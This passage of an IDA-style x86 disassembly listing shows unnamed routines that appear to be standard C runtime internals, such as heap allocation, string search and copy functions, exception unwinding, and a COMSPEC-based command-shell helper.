add eax, ecx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 lea ebx, ds:6319E0h[eax*4] mov eax, esi and eax, 1Fh lea esi, [eax+eax*8] mov eax, [ebx] shl esi, 2 test byte ptr [esi+eax+4], 80h jz short loc_422E69 push 2 push 0 push [ebp+var_C] call sub_426CFC add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_422E30 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_422E1B: ; CODE XREF: sub_422D1B+10Dj cmp eax, ecx jnb short loc_422E2A cmp byte ptr [eax], 0Ah jnz short loc_422E27 inc [ebp+arg_0] loc_422E27: ; CODE XREF: sub_422D1B+107j inc eax jmp short loc_422E1B ; --------------------------------------------------------------------------- loc_422E2A: ; CODE XREF: sub_422D1B+102j test byte ptr [edi+0Dh], 20h jmp short loc_422E64 ; --------------------------------------------------------------------------- loc_422E30: ; CODE XREF: sub_422D1B+F6j push 0 push [ebp+var_4] push [ebp+var_C] call sub_426CFC mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_422E57 mov ecx, [edi+0Ch] test cl, 8 jz short loc_422E57 test ch, 4 jz short loc_422E5A loc_422E57: ; CODE XREF: sub_422D1B+12Dj ; sub_422D1B+135j mov eax, [edi+18h] loc_422E5A: ; CODE XREF: sub_422D1B+13Aj mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_422E64: ; CODE XREF: sub_422D1B+113j jz short loc_422E69 inc [ebp+arg_0] loc_422E69: ; CODE XREF: sub_422D1B+E2j ; sub_422D1B:loc_422E64j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422E6F: ; CODE XREF: sub_422D1B+A8j ; sub_422D1B+B8j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422E77: ; CODE XREF: sub_422D1B+3Cj ; sub_422D1B+91j ... pop edi pop esi pop ebx leave retn sub_422D1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422E7C proc near ; CODE XREF: sub_40274D+47p ; sub_40274D+58p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push [ebp+arg_0] call sub_42483C push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422EA8 push [ebp+arg_0] mov esi, eax call sub_42488E add esp, 14h mov eax, esi pop esi pop ebp retn sub_422E7C endp ; =============== S U B R O U T I N E ======================================= sub_422EA8 proc near ; CODE XREF: sub_422E7C+15p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_422F24 mov edi, [esp+8+arg_8] test edi, edi jz short loc_422EC7 cmp edi, 1 jz short loc_422EC7 cmp edi, 2 jnz short loc_422F24 loc_422EC7: ; CODE XREF: sub_422EA8+13j ; sub_422EA8+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_422EDE push esi call sub_422D1B add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_422EDE: ; CODE XREF: sub_422EA8+27j push esi call sub_42671D mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_422EF3 and al, 0FCh mov [esi+0Ch], eax jmp short loc_422F07 ; --------------------------------------------------------------------------- loc_422EF3: ; CODE XREF: sub_422EA8+42j test al, 1 jz short loc_422F07 test al, 8 jz short loc_422F07 test ah, 4 jnz short loc_422F07 mov dword ptr [esi+18h], 200h loc_422F07: ; CODE XREF: sub_422EA8+49j ; sub_422EA8+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_426CFC add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_422F32 ; --------------------------------------------------------------------------- loc_422F24: ; CODE XREF: sub_422EA8+Bj ; sub_422EA8+1Dj call sub_426528 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh loc_422F32: ; CODE XREF: sub_422EA8+7Aj pop edi pop esi retn sub_422EA8 endp ; =============== S U B R O U T I N E ======================================= sub_422F35 proc near ; CODE XREF: sub_422F66+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi call sub_426F44 mov esi, eax test esi, esi jnz short loc_422F43 pop esi retn ; --------------------------------------------------------------------------- loc_422F43: ; CODE XREF: sub_422F35+Aj push edi push esi push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_426DD4 push esi mov edi, eax call sub_42488E add esp, 14h mov eax, edi pop edi pop esi retn sub_422F35 endp ; =============== S U B R O U T I N E ======================================= sub_422F66 proc near ; CODE XREF: sub_40274D+31p ; sub_416C0B+C2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_422F35 add esp, 0Ch retn sub_422F66 endp ; =============== S U B R O U T I N E ======================================= sub_422F79 proc near ; CODE XREF: sub_4028DA+Ap ; sub_402914+12p ... arg_0 = dword ptr 4 push dword_6313F8 push [esp+4+arg_0] call sub_422F8B pop ecx pop ecx retn sub_422F79 endp ; =============== S U B R O U T I N E ======================================= sub_422F8B proc near ; CODE XREF: sub_422F79+Ap ; sub_423F55+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_422FB4 loc_422F92: ; CODE XREF: sub_422F8B+27j push [esp+arg_0] call sub_422FB7 test eax, eax pop ecx jnz short locret_422FB6 cmp [esp+arg_4], eax jz short locret_422FB6 push [esp+arg_0] call sub_42700C test eax, eax pop ecx jnz short loc_422F92 loc_422FB4: ; CODE XREF: sub_422F8B+5j xor eax, eax locret_422FB6: ; CODE XREF: sub_422F8B+13j ; sub_422F8B+19j retn sub_422F8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422FB7 proc near ; CODE XREF: sub_422F8B+Bp var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00423027 SIZE 00000053 BYTES ; FUNCTION CHUNK AT 00423086 SIZE 0000002D BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_42F3A8 push offset sub_424B30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov eax, dword_6319C0 cmp eax, 3 jnz short loc_423027 mov esi, [ebp+arg_0] cmp esi, dword_6319B8 ja loc_423086 push 9 call sub_428436 pop ecx and [ebp+var_4], 0 push esi call sub_427595 pop ecx mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_42301E mov eax, [ebp+var_1C] test eax, eax jz short loc_423086 jmp loc_4230A4 sub_422FB7 endp ; =============== S U B R O U T I N E ======================================= sub_42301E proc near ; CODE XREF: sub_422FB7+56p ; DATA XREF: .text:0042F3B0o push 9 call sub_428497 pop ecx retn sub_42301E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_422FB7 loc_423027: ; CODE XREF: sub_422FB7+2Bj cmp eax, 2 jnz short loc_423086 mov eax, [ebp+arg_0] test eax, eax jz short loc_42303B lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_42303E ; --------------------------------------------------------------------------- loc_42303B: ; CODE XREF: sub_422FB7+7Aj push 10h pop esi loc_42303E: ; CODE XREF: sub_422FB7+82j mov [ebp+arg_0], esi cmp esi, dword_44BA9C ja short loc_423077 push 9 call sub_428436 pop ecx mov [ebp+var_4], 1 mov eax, esi shr eax, 4 push eax call sub_428038 pop ecx mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_42307D mov eax, [ebp+var_1C] test eax, eax jnz short loc_4230A4 loc_423077: ; CODE XREF: sub_422FB7+90j push esi jmp short loc_423096 ; END OF FUNCTION CHUNK FOR sub_422FB7 ; =============== S U B R O U T I N E ======================================= sub_42307A proc near ; DATA XREF: .text:0042F3BCo mov esi, [ebp+8] sub_42307A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42307D proc near ; CODE XREF: sub_422FB7+B4p push 9 call sub_428497 pop ecx retn sub_42307D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_422FB7 loc_423086: ; CODE XREF: sub_422FB7+36j ; sub_422FB7+60j ... mov eax, [ebp+arg_0] test eax, eax jnz short loc_423090 push 1 pop eax loc_423090: ; CODE XREF: sub_422FB7+D4j add eax, 0Fh and al, 0F0h push eax loc_423096: ; CODE XREF: sub_422FB7+C1j push 0 push dword_6319BC call dword_42F1EC ; RtlAllocateHeap loc_4230A4: ; CODE XREF: sub_422FB7+62j ; sub_422FB7+BEj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_422FB7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4230B3 proc near ; CODE XREF: sub_402969+Ap ; sub_402982+73p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00423126 SIZE 0000004F BYTES ; FUNCTION CHUNK AT 0042317E SIZE 0000001E BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_42F3C0 push offset sub_424B30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov esi, [ebp+arg_0] test esi, esi jz loc_42318D mov eax, dword_6319C0 cmp eax, 3 jnz short loc_423126 push 9 call sub_428436 pop ecx and [ebp+var_4], 0 push esi call sub_427241 pop ecx mov [ebp+var_1C], eax test eax, eax jz short loc_42310E push esi push eax call sub_42726C pop ecx pop ecx loc_42310E: ; CODE XREF: sub_4230B3+50j or [ebp+var_4], 0FFFFFFFFh call sub_42311D cmp [ebp+var_1C], 0 jmp short loc_42316E sub_4230B3 endp ; =============== S U B R O U T I N E ======================================= sub_42311D proc near ; CODE XREF: sub_4230B3+5Fp ; DATA XREF: .text:0042F3C8o push 9 call sub_428497 pop ecx retn sub_42311D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4230B3 loc_423126: ; CODE XREF: sub_4230B3+36j cmp eax, 2 jnz short loc_42317E push 9 call sub_428436 pop ecx mov [ebp+var_4], 1 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_28] push eax push esi call sub_427F9C add esp, 0Ch mov [ebp+var_24], eax test eax, eax jz short loc_423161 push eax push [ebp+var_20] push [ebp+var_28] call sub_427FF3 add esp, 0Ch loc_423161: ; CODE XREF: sub_4230B3+9Dj or [ebp+var_4], 0FFFFFFFFh call sub_423175 cmp [ebp+var_24], 0 loc_42316E: ; CODE XREF: sub_4230B3+68j jnz short loc_42318D push [ebp+arg_0] jmp short loc_42317F ; END OF FUNCTION CHUNK FOR sub_4230B3 ; =============== S U B R O U T I N E ======================================= sub_423175 proc near ; CODE XREF: sub_4230B3+B2p ; DATA XREF: .text:0042F3D4o push 9 call sub_428497 pop ecx retn sub_423175 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4230B3 loc_42317E: ; CODE XREF: sub_4230B3+76j push esi loc_42317F: ; CODE XREF: sub_4230B3+C0j push 0 push dword_6319BC call dword_42F1F0 ; RtlFreeHeap loc_42318D: ; CODE XREF: sub_4230B3+28j ; sub_4230B3:loc_42316Ej mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_4230B3 ; =============== S U B R O U T I N E ======================================= sub_42319C proc near ; CODE XREF: sub_42321A+4p arg_0 = dword ptr 4 push esi call sub_4285A0 push dword_63199C call sub_4288FB mov edx, dword_63199C pop ecx mov ecx, dword_631998 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi jnb short loc_423202 push edx call sub_4288FB add eax, 10h push eax push dword_63199C call sub_4285CC add esp, 0Ch test eax, eax jnz short loc_4231E5 xor esi, esi jmp short loc_423211 ; --------------------------------------------------------------------------- loc_4231E5: ; CODE XREF: sub_42319C+43j mov ecx, dword_631998 sub ecx, dword_63199C mov dword_63199C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_631998, ecx loc_423202: ; CODE XREF: sub_42319C+27j mov eax, [esp+4+arg_0] mov [ecx], eax add dword_631998, 4 mov esi, eax loc_423211: ; CODE XREF: sub_42319C+47j call sub_4285A9 mov eax, esi pop esi retn sub_42319C endp ; =============== S U B R O U T I N E ======================================= sub_42321A proc near ; CODE XREF: .text:00403238p ; .text:00412058p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_42319C neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_42321A endp ; =============== S U B R O U T I N E ======================================= sub_42322C proc near ; DATA XREF: .text:00432020o push 80h call sub_422F79 test eax, eax pop ecx mov dword_63199C, eax jnz short loc_42324D push 18h call sub_424FCB mov eax, dword_63199C pop ecx loc_42324D: ; CODE XREF: sub_42322C+12j and dword ptr [eax], 0 mov eax, dword_63199C mov dword_631998, eax retn sub_42322C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423260 proc near ; CODE XREF: sub_423B24+28p ; sub_423B61+34p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_4232D1 sub_423260 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423270 proc near ; CODE XREF: sub_4032AA+Cp ; sub_403B2C+3B6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_42328C loc_42327D: ; CODE XREF: sub_423270+1Aj mov al, [ecx] inc ecx test al, al jz short loc_4232BF test ecx, 3 jnz short loc_42327D loc_42328C: ; CODE XREF: sub_423270+Bj ; sub_423270+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_42328C mov eax, [ecx-4] test al, al jz short loc_4232CE test ah, ah jz short loc_4232C9 test eax, 0FF0000h jz short loc_4232C4 test eax, 0FF000000h jz short loc_4232BF jmp short loc_42328C ; --------------------------------------------------------------------------- loc_4232BF: ; CODE XREF: sub_423270+12j ; sub_423270+4Bj lea edi, [ecx-1] jmp short loc_4232D1 ; --------------------------------------------------------------------------- loc_4232C4: ; CODE XREF: sub_423270+44j lea edi, [ecx-2] jmp short loc_4232D1 ; --------------------------------------------------------------------------- loc_4232C9: ; CODE XREF: sub_423270+3Dj lea edi, [ecx-3] jmp short loc_4232D1 ; --------------------------------------------------------------------------- loc_4232CE: ; CODE XREF: sub_423270+39j lea edi, [ecx-4] loc_4232D1: ; CODE XREF: sub_423260+5j ; sub_423270+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_4232F6 loc_4232DD: ; CODE XREF: sub_423270+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_423348 mov [edi], dl inc edi test ecx, 3 jnz short loc_4232DD jmp short loc_4232F6 ; --------------------------------------------------------------------------- loc_4232F1: ; CODE XREF: sub_423270+9Ej ; sub_423270+B8j mov [edi], edx add edi, 4 loc_4232F6: ; CODE XREF: sub_423270+6Bj ; sub_423270+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_4232F1 test dl, dl jz short loc_423348 test dh, dh jz short loc_42333F test edx, 0FF0000h jz short loc_423332 test edx, 0FF000000h jz short loc_42332A jmp short loc_4232F1 ; --------------------------------------------------------------------------- loc_42332A: ; CODE XREF: sub_423270+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_423332: ; CODE XREF: sub_423270+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_42333F: ; CODE XREF: sub_423270+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_423348: ; CODE XREF: sub_423270+72j ; sub_423270+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_423270 endp ; =============== S U B R O U T I N E ======================================= sub_423350 proc near ; CODE XREF: sub_403625+1AFp arg_0 = dword ptr 4 cmp dword_449A44, 1 jle short loc_423367 push 4 push [esp+4+arg_0] call sub_42653A pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_423367: ; CODE XREF: sub_423350+7j mov eax, [esp+arg_0] mov ecx, off_449838 mov al, [ecx+eax*2] and eax, 4 retn sub_423350 endp ; =============== S U B R O U T I N E ======================================= sub_423378 proc near ; CODE XREF: sub_425A04+76p ; sub_425A04+88p ... arg_0 = dword ptr 4 cmp dword_449A44, 1 jle short loc_42338F push 8 push [esp+4+arg_0] call sub_42653A pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_42338F: ; CODE XREF: sub_423378+7j mov eax, [esp+arg_0] mov ecx, off_449838 mov al, [ecx+eax*2] and eax, 8 retn sub_423378 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4233B0 loc_4233A0: ; CODE XREF: sub_4233B0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_4233B0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4233B0 proc near ; CODE XREF: sub_403625+113p ; sub_403625+124p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 004233A0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_4233B6: ; CODE XREF: sub_4235C0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_4233DB loc_4233C8: ; CODE XREF: sub_4233B0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_4233A0 test cl, cl jz short loc_423424 test edx, 3 jnz short loc_4233C8 loc_4233DB: ; CODE XREF: sub_4233B0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_4233E6: ; CODE XREF: sub_4233B0+61j ; sub_4233B0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_423428 and eax, 81010100h jz short loc_4233E6 and eax, 1010100h jnz short loc_423422 and esi, 80000000h jnz short loc_4233E6 loc_423422: ; CODE XREF: sub_4233B0+68j ; sub_4233B0+81j ... pop esi pop edi loc_423424: ; CODE XREF: sub_4233B0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_423428: ; CODE XREF: sub_4233B0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_423465 test al, al jz short loc_423422 cmp ah, bl jz short loc_42345E test ah, ah jz short loc_423422 shr eax, 10h cmp al, bl jz short loc_423457 test al, al jz short loc_423422 cmp ah, bl jz short loc_423450 test ah, ah jz short loc_423422 jmp short loc_4233E6 ; --------------------------------------------------------------------------- loc_423450: ; CODE XREF: sub_4233B0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_423457: ; CODE XREF: sub_4233B0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_42345E: ; CODE XREF: sub_4233B0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_423465: ; CODE XREF: sub_4233B0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_4233B0 endp ; =============== S U B R O U T I N E ======================================= sub_42346C proc near ; CODE XREF: sub_4284AC+9p ; sub_428A39+21p ; DATA XREF: ... call sub_423484 call sub_428A39 mov dword_6313CC, eax call sub_4289E9 fnclex retn sub_42346C endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_423484 proc near ; CODE XREF: sub_42346Cp mov eax, offset sub_428E12 mov off_44BB64, offset sub_428ABC mov off_44BB60, eax mov off_44BB68, offset sub_428B22 mov off_44BB6C, offset sub_428A62 mov off_44BB70, offset sub_428B0A mov off_44BB74, eax retn sub_423484 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234BC proc near ; CODE XREF: sub_403625+34p ; sub_403625+A5p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_4234BC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234F0 proc near ; CODE XREF: sub_403B2C+45BEp ; sub_403B2C+45E3p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_423511 xor eax, eax jmp short loc_423513 ; --------------------------------------------------------------------------- loc_423511: ; CODE XREF: sub_4234F0+1Bj mov eax, edi loc_423513: ; CODE XREF: sub_4234F0+1Fj cld pop edi leave retn sub_4234F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423517 proc near ; CODE XREF: sub_403B2C+3B44p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push esi push edi push offset aComspec ; "COMSPEC" call sub_429187 pop ecx xor esi, esi mov ecx, [ebp+arg_0] mov [ebp+var_10], eax cmp ecx, esi jnz short loc_42354E cmp eax, esi jnz short loc_42353E xor eax, eax jmp short loc_4235B5 ; --------------------------------------------------------------------------- loc_42353E: ; CODE XREF: sub_423517+21j push esi push eax call sub_424450 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_4235B5 ; --------------------------------------------------------------------------- loc_42354E: ; CODE XREF: sub_423517+1Dj cmp eax, esi mov [ebp+var_C], offset dword_42F3E4 mov [ebp+var_8], ecx mov [ebp+var_4], esi jz short loc_42358D lea ecx, [ebp+var_10] push esi push ecx push eax push esi call sub_428FED mov edi, eax add esp, 10h cmp edi, 0FFFFFFFFh jnz short loc_423589 call sub_426528 cmp dword ptr [eax], 2 jz short loc_42358D call sub_426528 cmp dword ptr [eax], 0Dh jz short loc_42358D loc_423589: ; CODE XREF: sub_423517+5Cj mov eax, edi jmp short loc_4235B5 ; --------------------------------------------------------------------------- loc_42358D: ; CODE XREF: sub_423517+46j ; sub_423517+66j ... test byte_63146D, 80h mov [ebp+var_10], offset dword_42F3D8 jnz short loc_4235A4 mov [ebp+var_10], offset aCmd_exe ; "cmd.exe" loc_4235A4: ; CODE XREF: sub_423517+84j lea eax, [ebp+var_10] push esi push eax push [ebp+var_10] push esi call sub_428E88 add esp, 10h loc_4235B5: ; CODE XREF: sub_423517+25j ; sub_423517+35j ... pop edi pop esi leave retn sub_423517 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4235C0 proc near ; CODE XREF: sub_403B2C+E1Fp ; sub_403B2C:loc_408766p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_42363A mov dh, [ecx+1] test dh, dh jz short loc_423627 loc_4235D8: ; CODE XREF: sub_4235C0+52j ; sub_4235C0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_4235FA test al, al jz short loc_4235F4 loc_4235E9: ; CODE XREF: sub_4235C0+32j mov al, [esi] inc esi loc_4235EC: ; CODE XREF: sub_4235C0+3Fj cmp al, dl jz short loc_4235FA test al, al jnz short loc_4235E9 loc_4235F4: ; CODE XREF: sub_4235C0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_4235FA: ; CODE XREF: sub_4235C0+23j ; sub_4235C0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_4235EC lea edi, [esi-1] loc_423604: ; CODE XREF: sub_4235C0+63j mov ah, [ecx+2] test ah, ah jz short loc_423633 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_4235D8 mov al, [ecx+3] test al, al jz short loc_423633 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_423604 jmp short loc_4235D8 ; --------------------------------------------------------------------------- loc_423627: ; CODE XREF: sub_4235C0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_4233B6 ; --------------------------------------------------------------------------- loc_423633: ; CODE XREF: sub_4235C0+49j ; sub_4235C0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_42363A: ; CODE XREF: sub_4235C0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_4235C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423640 proc near ; CODE XREF: sub_40D6A6+20p ; sub_40FBDB+20p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_42512C add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_42367E mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_42368B ; --------------------------------------------------------------------------- loc_42367E: ; CODE XREF: sub_423640+34j lea eax, [ebp+var_20] push eax push 0 call sub_425014 pop ecx pop ecx loc_42368B: ; CODE XREF: sub_423640+3Cj mov eax, esi pop esi leave retn sub_423640 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423690 proc near ; CODE XREF: sub_42962E+71p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_423690 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_4236C4 proc near ; CODE XREF: sub_4297EE+199p ; sub_4299B2+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_4236C4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4236CB proc near ; CODE XREF: sub_4297EE+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_4236CB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4236D2 proc near ; CODE XREF: sub_423886+5Cp ; sub_42962E:loc_42965Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_4236FA push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_42EBF2 ; RtlUnwind loc_4236FA: ; DATA XREF: sub_4236D2+11o mov eax, [ebp+arg_4] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_4236D2 endp ; --------------------------------------------------------------------------- loc_423721: ; CODE XREF: .text:0042EC05j ; .text:0042EC38j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_429225 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423757 proc near ; CODE XREF: sub_4296A9+7Bp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_4237AB inc eax mov [ebp+var_8], ecx mov 